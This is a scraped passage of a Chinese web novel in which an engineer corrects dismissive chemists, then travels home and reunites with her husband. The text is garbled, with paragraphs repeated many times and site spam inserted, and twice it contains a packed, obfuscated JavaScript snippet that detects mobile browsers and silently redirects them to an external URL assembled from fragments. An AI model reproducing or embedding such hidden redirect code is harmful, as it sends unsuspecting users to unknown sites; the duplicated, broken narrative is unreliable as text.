那个被称为“小刘”的男人就是刚才大放厥词的年轻男子,这时候他的脸色一阵红一阵白,梗着脖子还想说什么,却发现自己根本无从反驳。 对方连作者和论文标题都说得一清二楚,这绝不是信口开河能编出来的。 “这位同志,能冒昧问一句,您是从事化工研究工作的?”其中一个戴着眼镜、看起来更沉稳些的男人推了推眼镜,开口问道。 他迫切地想知道,国内什么时候冒出来这样一个人才,如此年轻,就能懂这些,加以培养,应该会成为个中翘首。 姜海棠见状,微微颔首,语气依旧客气却带着疏离:“不是,我是从事纺织机械工作的。” 姜海棠的话,让几个人更加怔愣住了? 什么情况?这位女同志,是从事纺织机械的? 那她为什么会懂得聚丙烯酰胺材料?虽然纺织方面也能用到这种材料,但她不是搞纺织的,而是纺织机械啊! 几个人的脸色更加精彩纷呈了。 “这位同志,敢问您尊姓大名?”还是戴眼镜的中年男人开口问。 不知道是不是错觉,他觉得,眼前这个年轻的女同志,他好像见过,只是一时之间,想不起来在什么地方见过了。 “您客气了,我叫姜海棠。” 戴眼镜的男人听了之后,立即笑着说道:“原来是您啊,小刘,咱们今天可是遇到专家了,这位姜海棠同志,是最年轻的科技创新奖获得者,虽然获奖的项目是纺织机械,但我听说,这位姜海棠同志是全能型选手。” 对自己同行的几个人说完之后,戴眼镜的男人立即自我介绍:“我叫罗明成,那天的颁奖仪式我也在现场,很荣幸能在这里见到您。” 姜海棠浅淡的笑着说道:“您太客气了,我也是偶尔路过,这就要走了。” 反正只是萍水相逢的人,如果不是因为对方说错了,还怼她,她大概率是不会惹这种事的。 “学术探讨,信息更新很重要,很明显,您掌握的比我们多,以后,我们会更加端正态度。”罗明成倒是十分客气的开口,并没有因为姜海棠是女人,且是纺织机械专业的,就对姜海棠有丝毫的轻慢,反而态度越发的恭敬起来。 但小刘显然想法还是有些不一样的,他们觉得就算姜海棠在纺织机械方面能有前景,但对于化工来说,应该也就是听说过而已吧? 不过碍于听到姜海棠是“科技创新奖”获得者,态度上不敢像之前那样放肆,眼神里的轻视到底收敛了不少。 但他心里多少是不服气的,低声嘟囔了一句:“纺织机械的……怎么会懂这么多化工……” 这时候,另一个一直没怎么说话,看起来更书卷气的中年男人却若有所思地开口:“隔行如隔山,但技术走到精深处,往往是相通的。” “小马说的是,姜海棠同志能敏锐捕捉到跨领域的最新研究成果并准确记忆,这份学习能力和知识广度,令人佩服。”罗明成赞许地点头。 他转向姜海棠,态度诚恳,“姜同志,刚才多有冒犯,还请见谅。您提到的这篇论文,对我们目前的项目确实很有启发,谢谢您的指点。” 姜海棠见对方其他人的态度都算不错,微笑道:“您太客气了,互相学习。技术发展日新月异,我们都需要不断更新知识库。” 罗明成顺杆子往上爬,热情地邀请道:“姜同志,相请不如偶遇,要不一起坐坐?我们再向您请教请教?” 他想着如果能和这样的人才多交流,肯定受益匪浅。 姜海棠婉拒了:“谢谢您的好意,不过我们带着孩子,还要赶下一趟火车,时间比较紧,就不打扰各位用餐了。” 她示意了一下旁边略显紧张的小何,以及小何怀里正好奇眨巴着眼睛的小橙子。 罗明 成这才注意到她们的情况,连忙表示理解:“哦哦,好好好,那就不耽误您了。一路顺风!” 姜海棠点点头,抱起小橙子,对小何说:“香草姐,我们走吧。” 结账的时候,饭店里不少目光还若有若无地追随着她。 刚才那一番交锋,让她在这个嘈杂的饭馆里成了一个小小的焦点。 走出饭店,小何长舒了一口气,拍着胸口心有余悸地说:“海棠姐,刚才可吓死我了!那几个大男人,看着可真凶!还好你厉害,几句话就把他们镇住了!” 刚才她可是都做好了对方要是动手,就直接扑过去挨拳头的打算了。 姜海棠哪里能不懂小何的想法,毕竟,一个之前遭遇过家庭暴力的女人,会下意识想到什么,显而易见。 姜海棠笑了笑,安抚她:“没什么,只是正常的技术讨论。有些人习惯以性别取人,觉得自己是男人就高高在上,但我们女人要相信,自己也是有价值的!甚至,我们的价值不比男人差。” 小何用力点头,看着姜海棠的眼神里崇拜更深了。 “海棠,你懂得真多!他们说的那些,我一个字都听不懂,你却能说得他们哑口无言!” “以后,你闲暇时间也可以多看看书,你还年轻,总有用到的时候。”姜海棠鼓励道,就像是上辈子顾昀笛夫妻二人鼓励她那样。 成这才注意到她们的情况,连忙表示理解:“哦哦,好好好,那就不耽误您了。一路顺风!” 姜海棠点点头,抱起小橙子,对小何说:“香草姐,我们走吧。” 结账的时候,饭店里不少目光还若有若无地追随着她。 刚才那一番交锋,让她在这个嘈杂的饭馆里成了一个小小的焦点。 走出饭店,小何长舒了一口气,拍着胸口心有余悸地说:“海棠姐,刚才可吓死我了!那几个大男人,看着可真凶!还好你厉害,几句话就把他们镇住了!” 刚才她可是都做好了对方要是动手,就直接扑过去挨拳头的打算了。 姜海棠哪里能不懂小何的想法,毕竟,一个之前遭遇过家庭暴力的女人,会下意识想到什么,显而易见。 姜海棠笑了笑,安抚她:“没什么,只是正常的技术讨论。有些人习惯以性别取人,觉得自己是男人就高高在上,但我们女人要相信,自己也是有价值的!甚至,我们的价值不比男人差。” 小何用力点头,看着姜海棠的眼神里崇拜更深了。 “海棠,你懂得真多!他们说的那些,我一个字都听不懂,你却能说得他们哑口无言!” “以后,你闲暇时间也可以多看看书,你还年轻,总有用到的时候。”姜海棠鼓励道,就像是上辈子顾昀笛夫妻二人鼓励她那样。 成这才注意到她们的情况,连忙表示理解:“哦哦,好好好,那就不耽误您了。一路顺风!” 姜海棠点点头,抱起小橙子,对小何说:“香草姐,我们走吧。” 结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277839|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账的时候,饭店里不少目光还若有若无地追随着她。 刚才那一番交锋,让她在这个嘈杂的饭馆里成了一个小小的焦点。 走出饭店,小何长舒了一口气,拍着胸口心有余悸地说:“海棠姐,刚才可吓死我了!那几个大男人,看着可真凶!还好你厉害,几句话就把他们镇住了!” 刚才她可是都做好了对方要是动手,就直接扑过去挨拳头的打算了。 姜海棠哪里能不懂小何的想法,毕竟,一个之前遭遇过家庭暴力的女人,会下意识想到什么,显而易见。 姜海棠笑了笑,安抚她:“没什么,只是正常的技术讨论。有些人习惯以性别取人,觉得自己是男人就高高在上,但我们女人要相信,自己也是有价值的!甚至,我们的价值不比男人差。” 小何用力点头,看着姜海棠的眼神里崇拜更深了。 “海棠,你懂得真多!他们说的那些,我一个字都听不懂,你却能说得他们哑口无言!” “以后,你闲暇时间也可以多看看书,你还年轻,总有用到的时候。”姜海棠鼓励道,就像是上辈子顾昀笛夫妻二人鼓励她那样。 成这才注意到她们的情况,连忙表示理解:“哦哦,好好好,那就不耽误您了。一路顺风!” 姜海棠点点头,抱起小橙子,对小何说:“香草姐,我们走吧。” 结账的时候,饭店里不少目光还若有若无地追随着她。 刚才那一番交锋,让她在这个嘈杂的饭馆里成了一个小小的焦点。 走出饭店,小何长舒了一口气,拍着胸口心有余悸地说:“海棠姐,刚才可吓死我了!那几个大男人,看着可真凶!还好你厉害,几句话就把他们镇住了!” 刚才她可是都做好了对方要是动手,就直接扑过去挨拳头的打算了。 姜海棠哪里能不懂小何的想法,毕竟,一个之前遭遇过家庭暴力的女人,会下意识想到什么,显而易见。 姜海棠笑了笑,安抚她:“没什么,只是正常的技术讨论。有些人习惯以性别取人,觉得自己是男人就高高在上,但我们女人要相信,自己也是有价值的!甚至,我们的价值不比男人差。” 小何用力点头,看着姜海棠的眼神里崇拜更深了。 “海棠,你懂得真多!他们说的那些,我一个字都听不懂,你却能说得他们哑口无言!” “以后,你闲暇时间也可以多看看书,你还年轻,总有用到的时候。”姜海棠鼓励道,就像是上辈子顾昀笛夫妻二人鼓励她那样。 成这才注意到她们的情况,连忙表示理解:“哦哦,好好好,那就不耽误您了。一路顺风!” 姜海棠点点头,抱起小橙子,对小何说:“香草姐,我们走吧。” 结账的时候,饭店里不少目光还若有若无地追随着她。 刚才那一番交锋,让她在这个嘈杂的饭馆里成了一个小小的焦点。 走出饭店,小何长舒了一口气,拍着胸口心有余悸地说:“海棠姐,刚才可吓死我了!那几个大男人,看着可真凶!还好你厉害,几句话就把他们镇住了!” 刚才她可是都做好了对方要是动手,就直接扑过去挨拳头的打算了。 姜海棠哪里能不懂小何的想法,毕竟,一个之前遭遇过家庭暴力的女人,会下意识想到什么,显而易见。 姜海棠笑了笑,安抚她:“没什么,只是正常的技术讨论。有些人习惯以性别取人,觉得自己是男人就高高在上,但我们女人要相信,自己也是有价值的!甚至,我们的价值不比男人差。” 小何用力点头,看着姜海棠的眼神里崇拜更深了。 “海棠,你懂得真多!他们说的那些,我一个字都听不懂,你却能说得他们哑口无言!” “以后,你闲暇时间也可以多看看书,你还年轻,总有用到的时候。”姜海棠鼓励道,就像是上辈子顾昀笛夫妻二人鼓励她那样。 成这才注意到她们的情况,连忙表示理解:“哦哦,好好好,那就不耽误您了。一路顺风!” 姜海棠点点头,抱起小橙子,对小何说:“香草姐,我们走吧。” 结账的时候,饭店里不少目光还若有若无地追随着她。 刚才那一番交锋,让她在这个嘈杂的饭馆里成了一个小小的焦点。 走出饭店,小何长舒了一口气,拍着胸口心有余悸地说:“海棠姐,刚才可吓死我了!那几个大男人,看着可真凶!还好你厉害,几句话就把他们镇住了!” 刚才她可是都做好了对方要是动手,就直接扑过去挨拳头的打算了。 姜海棠哪里能不懂小何的想法,毕竟,一个之前遭遇过家庭暴力的女人,会下意识想到什么,显而易见。 姜海棠笑了笑,安抚她:“没什么,只是正常的技术讨论。有些人习惯以性别取人,觉得自己是男人就高高在上,但我们女人要相信,自己也是有价值的!甚至,我们的价值不比男人差。” 小何用力点头,看着姜海棠的眼神里崇拜更深了。 “海棠,你懂得真多!他们说的那些,我一个字都听不懂,你却能说得他们哑口无言!” “以后,你闲暇时间也可以多看看书,你还年轻,总有用到的时候。”姜海棠鼓励道,就像是上辈子顾昀笛夫妻二人鼓励她那样。 第327章 到家了 回到候车室离列车进站还有一段时间小何便逗着小家伙玩。 小橙子精神头十足地咿咿呀呀。 姜海棠看着他看着窗外铁轨延伸的方向思绪却飘远了。 刚才那个小插曲像一面镜子照出了这个时代一部分人对女性参与技术工作的固有偏见。 但也让她看到了像罗明成和那位书卷气同事那样愿意理性看待能力的人正在增多。 这条路或许依然十分坎坷但每一点进步都值得珍惜。 还有一年多应该就要恢复高考了到时候也会有一部分女同志参加高考进而成为未来对这个社会的发展起到推动作用的人。 她有夜梦空间可以快速地学习和完成知识储备可是姜海棠觉得这还是不够。 她应该也去参加高考成为一个有学历也有能力的人这才是未来真正安身立命的根本。 “各位旅客请注意由XX开往金城方向的XXX次列车即将进站 广播声响起打断了姜海棠的思绪。 “车来了香草姐我们准备走吧。”姜海棠抱起孩子小何连忙拎起行李。 再次踏上列车车厢里混合着各种气味拥挤而熟悉。 陈老是个很贴心的人这一段依然给姜海棠和小何定了卧铺车票。 找到位置安顿下来火车缓缓启动站台渐渐后退。 姜海棠这才打量了一下卧铺车厢或许因为现在是淡季的原因又或者是因为卧铺车票实在难买的关系总之车厢里的人并不是很多。 一路顺利很快两个人带着娃就到了金城。 时隔几个月再次回到熟悉的地方姜海棠十分开心。 她并没有提前告知陆良辰自己会回来而是自己回去。 谁知道刚走出火车站竟然见到了熟人不是别人正是**厂长。 **厂长看到姜海棠的时候还挺惊讶的。 “姜工?真的是你回来了?怎么没听说呢?” “去了一趟南边转道回来的也是临时决定的。”姜海棠笑着说道:“您怎么在这里呢?” “刚送了一个重要的客商离开陆厂长不来接你?要是不来我正好送你回去。” 姜海棠想拒绝但转念一想这次回来也是有些东西要交给机械厂的见到**厂长正好不用再去一趟机械厂了。 她笑着道谢之后带着小何一起上车。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 车上,**厂长询问姜海棠在京城的工作和生活是不是顺利等等的,又站在长辈的角度,提醒姜海棠在京城要谨慎小心,京城里和西北不一样,有头有脸的人多,一个不小心得罪了惹来祸端等等的。 临了,还没忘了补充一句:“要是京城不好过,就回来,你永远是我们机械厂的一份子。 听到这样的话,说不感动那是假的,姜海棠笑着道谢之后,又说:“**厂长,我这里有两个新型的机械图纸,要是能生产,未来几年订单应该会不少。 **厂长可没想过,姜海棠到现在还操心着机械厂的事情呢,当下开怀大笑:“果然是我们机械厂的人,就是念着我们,你的工资也存了有好几个月了,既然回来了,就去厂里领一下。我原先还说,让人给你汇过去,可不知道你的地址。 姜海棠听到竟然还有工资,忙说:“**厂长,我这几个月也没上班,再领工资不好。 “有什么不好的,海棠啊,你给我的图纸我可是没客气地收下了,你怎么能说你没上班呢?再说了,你现在不是在休产假?谁也没说,休产假的女工不给工资吧? 话虽然这么说,可是姜海棠也清楚,现在的产假,也就休个四十天左右。 “海棠啊,我们机械厂这份工资,只要我老**还在,就永远有你的,做人不能太没良心,我们机械厂能有现在的风光,你居功至伟。 **厂长这话可不是客气话,而是实实在在,这两年,光是姜海棠提供和改良的机械,就让机械厂的订单量增加了百分之四十,这还是因为计划经济,如果放开了卖,效益不知道多好呢。 何况,这不是人家还惦记着机械厂呢,又给了自己两款机械的图纸,虽然还没看到图纸是什么样子的,但他相信姜海棠的本事。 这样的人才,他老**可不会轻易放弃。 做不过是以后继续让姜海棠在厂里兼职呗,也不是多大的事。 **厂长的吉普车一路开进熟悉的纺织厂家属院,停在了姜海棠和陆良辰之前住的那小院子门口。 “到了,海棠。需要我帮你把东西拿进去不?**厂长热情地问。 “不用了,**厂长,今天麻烦您了,就这点东西,我和小何能拿得动。图纸还在我的行李里面存着,我整理好了给您送过去。姜海棠连忙道谢。 “你这么大老远的辛苦了,整理好了,给我打个电话,我自己过来取。 **厂长挥挥手,上车离开了。 这边车辆的声音引出了几位看热闹的大 你的朋友正在书荒,快去帮帮他吧 娘,看到是姜海棠,一个个都上前来打招呼。 姜海棠客客气气地和大娘们打招呼说话。 正在隔壁做饭的康小夏也因为听到隔壁门口的动静跑了出来。 结果,就看到了几个月不见的姜海棠。 “海棠姐,真的是你回来了?”康小夏眼中含泪,不敢相信的问道。 “怎么还哭上了?”姜海棠轻轻抱住康小夏笑着说。 “太激动了,海棠姐,我都没听说你要回来。” “临时决定的,你今天怎么没上班?” 这个时候,应该还在上班呢,康小夏怎么会在隔壁?看着她戴着围裙,应该是在做饭。 “我之前加班,今天正好调休了,就过来做点吃的。” “你和赵凯的婚事定下来没有?”姜海棠拉着康小夏进屋,操心问道。 这姑娘,着实是个可怜的,遇上那样的家人。 “还有,你们家里人有没有继续折腾?” 康小夏听到姜海棠这样问,表情稍微暗淡了一点,说道:“他们现在也不指望把我的工作转给我嫂子了,不过,说家里添了孩子,钱不够花,让我把工资交给家里头。” 姜海棠真不知道该说什么了,都闹成这样了,竟然还没有放 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“陆厂长一个人在家,怕是连煤炉子都没生,我夹一块煤过来,很快就好。”康小夏听姜海棠说,这才想起来,急忙朝着隔壁跑过去。 康小夏风风火火地从自家 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 炉子里夹了块烧得正旺的煤球过来,熟练地帮姜海棠引燃了屋里的煤炉子。 又麻利地提来一壶水坐上去。 “我来就行了,怎么能麻烦您呢?”小何到底有些局促,不好意思的说着。 康小夏大概能猜出来,这个年轻的女同志,是帮姜海棠看孩子的。 她笑着说:“这有什么,顺手就做了,你们在火车上辛苦了好几天时间,累了吧?” “是有点累。”姜海棠笑着回答,也没矫情。 毕竟,真的很累。 “海棠姐,许久没回来了,家里都乱着,陆厂长正好去开会了,也不在,你们先收拾着。我锅里还炖着菜,得回去看着,晚上你们就别做饭了,我多做点,咱们一起吃!”康小夏说着,急匆匆的就要走。 “小夏,太麻烦你了……”姜海棠有些过意不去。 “麻烦啥!你回来我高兴还来不及呢!就这么说定了!”康小夏笑着摆摆手,快步回了隔壁。 小何看着康小夏的背影,小声对姜海棠说:“海棠,这姑娘真热心肠。” “是啊,小夏是个好姑娘,就是命苦了点。”姜海棠叹口气,开始动手收拾行李,“香草姐,你先简单归置一下,等水开了擦把脸,休息一下。这屋子有段时间没住人了,得好好打扫一下。” 小何连忙应下,手脚麻利地打开行李,把日常用的东西先拿出来。 她看到屋里虽然有些灰尘,但并不是很多,显然也是定期清扫的,工程量不是很大。 水很快烧开了,小何先兑了温水,给姜海棠和小橙子洗手,自己也简单洗了一下,顿时感觉清爽了许多。 姜海棠抱着小橙子在屋里慢慢走着,熟悉的环境让小家伙很是兴奋,咿咿呀呀地指着墙上的画和窗台上的花盆。 第328章 夫妻相见 “小橙子,这是咱们在金城的家哦,你还是第一次来这里呢,不过,你也可能只会来这一次,等咱们熬了京城,以后怕是再不来了。”姜海棠柔声对儿子说,心里也有些感慨。 这里承载了她和陆良辰最初的小家记忆,虽然简陋,却充满了温暖。 然而,他们以后要留在京城了,这里,将会成为回忆。 小何已经开始扫地抹灰,动作又快又干净。 姜海棠将孩子放在临时铺了毯子的床上,塞给他一个玩具,也拿起抹布帮忙。 正忙着,康小夏端着一盆热气腾腾的土豆炖肉过来了,倒扣的锅盖上,还放着几个白生生的馒头。 “海棠姐,何姐,先别忙了,快趁热吃饭!厂里食堂今天馒头蒸得好,我多买了几个。” 浓郁的饭菜香味瞬间充满了屋子。 小何很不好意思,连忙上前接过盆子。 “这怎么好意思,太让你破费了。”姜海棠笑着道谢。 “都是家常菜,客气啥,快坐下吃!”康小夏爽朗地笑着,又变戏法似的拿出一个小碗,里面是嫩嫩的蒸蛋,“这是给孩子的,我估摸着小家伙应该加辅食了。” “谢谢我们小夏了,你想的真周到,这小子,是真的馋饭食,我们吃饭的时候,多少要给他一点才行!香草姐,一起吃吧。” 三人围坐在小桌旁吃饭。 康小夏迫不及待地问起京城的事,问小桃子,问姜海棠的新工作,为姜海棠一家高兴的同时,能看出来,她眼神里充满了对外面世界的好奇和向往。 姜海棠挑着有趣的见闻说了些,又问了纺织厂和机械厂的近况,以及康小夏工作有没有什么新变化。 “还是老样子,就是最近订单多了些,加班多了,连我们厂办的工作节奏也忙起来了。”康小夏说着,语气里带着一丝疲惫,但更多的是充实,“不过加班好,加班有补助呢!我现在就想着多攒点钱……” 她没有说下去,但姜海棠明白,她是想为自己和赵凯的未来多攒点底气。 “我在京城和花城那边,都能感觉到,政策开始出现变化了,小夏,你是个很聪明的姑娘,闲暇时候多看看书,万一恢复高考,你要是能考上大学,以后的前途会更好许多。” 姜海棠思虑了好一会儿,最终还是决定,给康小夏提醒一下。 不管是和花城相比,还是和京城相比,金城这边都是比较落后的,信息也要闭塞很多,姜海棠不希望康小夏错过机会。 康小夏先是露出了欢喜 的笑容,但随即又暗淡了。 “只怕是不行,我都多长时间没看过书了。” “不光你没看书,其他人这些年也没看书,再说了,就算不冲着参加考试,多看看书,也是有好处的。” “嗯,海棠姐,我会认真努力看书的。” 小何安静地吃着饭,听着她们聊天,偶尔腼腆地笑笑。 她对金城的一切都感到新鲜,但也有些局促,这里不是她熟悉的环境。 但是,他能感觉到,这里的气氛真的很好。 看起来,海棠是个聪明的人,和任何人搞关系都不错。 这边几个人正说话,大门又响了,这次来的是孔大娘。 “我去了一趟供销社,回来就听人说你回来了,海棠啊,我瞅瞅,这是小橙子?哎呦,长得可真不错。” 孔大娘将手中拎着的东西放下,伸手就抱住了吃饱了正在一旁凳子上躺着吹泡泡的小橙子。 姜海棠和孔大娘寒暄了两句。 “这都吃上了,我还说让你晚上去我们家里吃饭呢。”孔大娘说着,才发现桌上的饭菜吃得都差不多了。 “明天去我们家里吃饭,有些时候没见了,家里孩子们都想你了。对了,小桃子没跟着一起来?”孔大娘没看到熟悉的小人儿,还挺失望的。 “我是出差的时候转道来的,小桃子没带,在京城呢,她也总说想念你们呢,等什么时候有机会,我带着孩子来看你们。” 话虽然这样说,但孔大娘知道,这话也就是这么一说,将来什么时候有时间,还真不一定呢。 “海棠啊,你这次来,要住一段时间吧?” “可能时间也不长,很快就要回去了,京城那边的工作还等着我。” “你走之前可得给我说一声,我得给小桃子做点她喜欢吃的,你给带回去。” 姜海棠笑着道谢之后,孔大娘这才回家去了。 吃完饭,小何抢着把碗筷洗了。 康小夏又坐着和姜海棠说了一会儿话,才起身告辞:“海棠姐,何姐,你们坐了一天车也累了,早点休息,明天我下班再过来看你们!” “你明天早点过来,我还从花城那边给你带了礼物。” 送走康小夏,天色已经暗了下来。 小何烧了热水,给小橙子洗了澡,自己也洗漱了。 姜海棠抱着香喷喷、软乎乎的儿子,坐在床边,看着小何里里外外地忙碌,把屋子收拾得越发整洁,心里十分感激。 “香草姐,今天辛苦 你了,你也早点休息吧。” “不辛苦,这都是我该做的,孩子晚上我带吧?”小何笑问。 “没事,今晚我带,换了环境,小家伙不一定能适应。” 小何回了自己那间屋。 夜深人静,西北的夜风带着凉意。 姜海棠搂着儿子,感受着这份久违的、属于金城的宁静。 陆良辰是第二天中午才回来的,他回到家门口,看到家里门开着的时候,惊讶的不得了,第一反应是,会不会有贼。 但转念一想,厂里现在的治安好得很,肯定不会有小偷。 他直接朝着院子里走进去,但却时刻提起精神,唯恐有什么意外。 然后,他就看到院子里有一个身影正背对着门口在院子里晾晒着小孩子的小衣服,旁边还放着一个洗衣盆。 是海棠吗? 陆良辰只觉得欣喜,但随即想到,看到的人影分明不是海棠啊。 这是怎么回事? 小何听到声音,吓了一跳,回头看到是一个陌生的男人,先是一惊,随后恍然。 “您就是陆厂长吧,我是何香草,帮着海棠照看小橙子的。” “海棠真的来了?”陆良辰只觉得一股巨大的喜悦瞬间冲上头顶,他甚至来不及再多问一句,大步流星地就朝屋里冲去。 屋门开着,午后的阳光洒进堂屋,姜海棠正坐在桌旁,低头专注地看着一份图纸,手里还拿着铅笔在写写画画。 她穿着家常的棉布衬衫,头发随意挽在脑后,侧脸柔和而专注。 在她脚边的地上,铺着一块旧毯子,小橙子正躺在上面,嘴里发出“嗯嗯”用力的小奶音。 这一幕如此温馨,又如此珍贵,仿佛他无数次期盼过的家的画面。 陆良辰站在门口,一时间竟有些不敢出声,生怕打破了这份宁静。 还是小橙子先发现了门口的高大身影,他停下咿咿呀呀的声音,歪着小脑袋,睁着乌溜溜的大眼睛好奇地看过来。 姜海棠察觉到儿子的异样,也抬起头。 当看到风尘仆仆、愣在门口的陆良辰时,她先是惊讶地睁大了眼睛,随即脸上绽开了一个温暖而灿烂的笑容:“良辰?你回来了?” 这一声呼唤,瞬间将陆良辰从失神中唤醒。 他几步跨进屋里,目光紧紧锁在妻儿身上,声音因为激动而有些沙哑。 “海棠……你们……你们怎么突然回来了?也不提前告诉我一声!” 他说着,目光已经迫不 及待地落在了儿子身上。 小家伙也不知道是不是有父子天性,不仅没怕生,反而咧开没牙的小嘴,冲着他笑了起来,还伸出两只小胳膊,做出一个要抱抱的姿势,嘴里模糊地发出咿咿呀呀的音节。 这一下,彻底击中了陆良辰心中最柔软的地方。 他眼眶一热,几乎是蹲跪下去,一把将软乎乎、香喷喷的儿子结结实实地抱进怀里,把脸埋在小家伙的颈窝里,深深吸了一口带着奶香的气息。 “好儿子!想死爸爸了!”他的声音闷闷的,带着难以抑制的激动和哽咽。 小橙子被爸爸的胡茬蹭得痒痒,咯咯地笑出声,小手胡乱地拍打着陆良辰的脸和肩膀。 姜海棠放下笔,走过来,看着紧紧相拥的父子俩,眼角也湿润了。 “去花城出差,比预计的快了几天,想给你个惊喜,就过来了,谁知道,来了你还不在。”姜海棠笑盈盈地说着,只是眼底有一点泪花。 陆良辰空出一只手臂,将妻子也紧紧揽入怀中。 一家三口就这样在洒满阳光的堂屋里紧紧相拥,分离数月的思念和牵挂,在这一刻化为了实实在在的温暖和幸福。 过了好一会儿,陆良辰才稍微平复了情绪,但依旧舍不得放开儿子。 他抱着小橙子站起身,仔细打量着姜海棠:“瘦了,是不是在外面吃不好?累不累?路上顺利吗?孩子闹你没?” 一连串的问题抛出来,满是关切。 姜海棠笑着摇头:“一切都好,小橙子特别乖,火车上都很能适应,没怎么闹。倒是你,看着也清减了些,厂里忙吗?” “还好,就是,就是想你们。”陆良辰看着妻子,眼神温柔得能滴出水来。 “现在的分别,是为了将来能在一起。”姜海棠何尝不是和陆良辰一样的想法。 及待地落在了儿子身上。 小家伙也不知道是不是有父子天性,不仅没怕生,反而咧开没牙的小嘴,冲着他笑了起来,还伸出两只小胳膊,做出一个要抱抱的姿势,嘴里模糊地发出咿咿呀呀的音节。 这一下,彻底击中了陆良辰心中最柔软的地方。 他眼眶一热,几乎是蹲跪下去,一把将软乎乎、香喷喷的儿子结结实实地抱进怀里,把脸埋在小家伙的颈窝里,深深吸了一口带着奶香的气息。 “好儿子!想死爸爸了!”他的声音闷闷的,带着难以抑制的激动和哽咽。 小橙子被爸爸的胡茬蹭得痒痒,咯咯地笑出声,小手胡乱地拍打着陆良辰的脸和肩膀。 姜海棠放下笔,走过来,看着紧紧相拥的父子俩,眼角也湿润了。 “去花城出差,比预计的快了几天,想给你个惊喜,就过来了,谁知道,来了你还不在。”姜海棠笑盈盈地说着,只是眼底有一点泪花。 陆良辰空出一只手臂,将妻子也紧紧揽入怀中。 一家三口就这样在洒满阳光的堂屋里紧紧相拥,分离数月的思念和牵挂,在这一刻化为了实实在在的温暖和幸福。 过了好一会儿,陆良辰才稍微平复了情绪,但依旧舍不得放开儿子。 他抱着小橙子站起身,仔细打量着姜海棠:“瘦了,是不是在外面吃不好?累不累?路上顺利吗?孩子闹你没?” 一连串的问题抛出来,满是关切。 姜海棠笑着摇头:“一切都好,小橙子特别乖,火车上都很能适应,没怎么闹。倒是你,看着也清减了些,厂里忙吗?” “还好,就是,就是想你们。”陆良辰看着妻子,眼神温柔得能滴出水来。 “现在的分别,是为了将来能在一起。”姜海棠何尝不是和陆良辰一样的想法。 及待地落在了儿子身上。 小家伙也不知道是不是有父子天性,不仅没怕生,反而咧开没牙的小嘴,冲着他笑了起来,还伸出两只小胳膊,做出一个要抱抱的姿势,嘴里模糊地发出咿咿呀呀的音节。 这一下,彻底击中了陆良辰心中最柔软的地方。 他眼眶一热,几乎是蹲跪下去,一把将软乎乎、香喷喷的儿子结结实实地抱进怀里,把脸埋在小家伙的颈窝里,深深吸了一口带着奶香的气息。 “好儿子!想死爸爸了!”他的声音闷闷的,带着难以抑制的激动和哽咽。 小橙子被爸爸的胡茬蹭得痒痒,咯咯地笑出声,小手胡乱地拍打着陆良辰的脸和肩膀。 姜海棠放下笔,走过来,看着紧紧相拥的父子俩,眼角也湿润了。 “去花城出差,比预计的快了几天,想给你个惊喜,就过来了,谁知道,来了你还不在。”姜海棠笑盈盈地说着,只是眼底有一点泪花。 陆良辰空出一只手臂,将妻子也紧紧揽入怀中。 一家三口就这样在洒满阳光的堂屋里紧紧相拥,分离数月的思念和牵挂,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285107|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻化为了实实在在的温暖和幸福。 过了好一会儿,陆良辰才稍微平复了情绪,但依旧舍不得放开儿子。 他抱着小橙子站起身,仔细打量着姜海棠:“瘦了,是不是在外面吃不好?累不累?路上顺利吗?孩子闹你没?” 一连串的问题抛出来,满是关切。 姜海棠笑着摇头:“一切都好,小橙子特别乖,火车上都很能适应,没怎么闹。倒是你,看着也清减了些,厂里忙吗?” “还好,就是,就是想你们。”陆良辰看着妻子,眼神温柔得能滴出水来。 “现在的分别,是为了将来能在一起。”姜海棠何尝不是和陆良辰一样的想法。 及待地落在了儿子身上。 小家伙也不知道是不是有父子天性,不仅没怕生,反而咧开没牙的小嘴,冲着他笑了起来,还伸出两只小胳膊,做出一个要抱抱的姿势,嘴里模糊地发出咿咿呀呀的音节。 这一下,彻底击中了陆良辰心中最柔软的地方。 他眼眶一热,几乎是蹲跪下去,一把将软乎乎、香喷喷的儿子结结实实地抱进怀里,把脸埋在小家伙的颈窝里,深深吸了一口带着奶香的气息。 “好儿子!想死爸爸了!”他的声音闷闷的,带着难以抑制的激动和哽咽。 小橙子被爸爸的胡茬蹭得痒痒,咯咯地笑出声,小手胡乱地拍打着陆良辰的脸和肩膀。 姜海棠放下笔,走过来,看着紧紧相拥的父子俩,眼角也湿润了。 “去花城出差,比预计的快了几天,想给你个惊喜,就过来了,谁知道,来了你还不在。”姜海棠笑盈盈地说着,只是眼底有一点泪花。 陆良辰空出一只手臂,将妻子也紧紧揽入怀中。 一家三口就这样在洒满阳光的堂屋里紧紧相拥,分离数月的思念和牵挂,在这一刻化为了实实在在的温暖和幸福。 过了好一会儿,陆良辰才稍微平复了情绪,但依旧舍不得放开儿子。 他抱着小橙子站起身,仔细打量着姜海棠:“瘦了,是不是在外面吃不好?累不累?路上顺利吗?孩子闹你没?” 一连串的问题抛出来,满是关切。 姜海棠笑着摇头:“一切都好,小橙子特别乖,火车上都很能适应,没怎么闹。倒是你,看着也清减了些,厂里忙吗?” 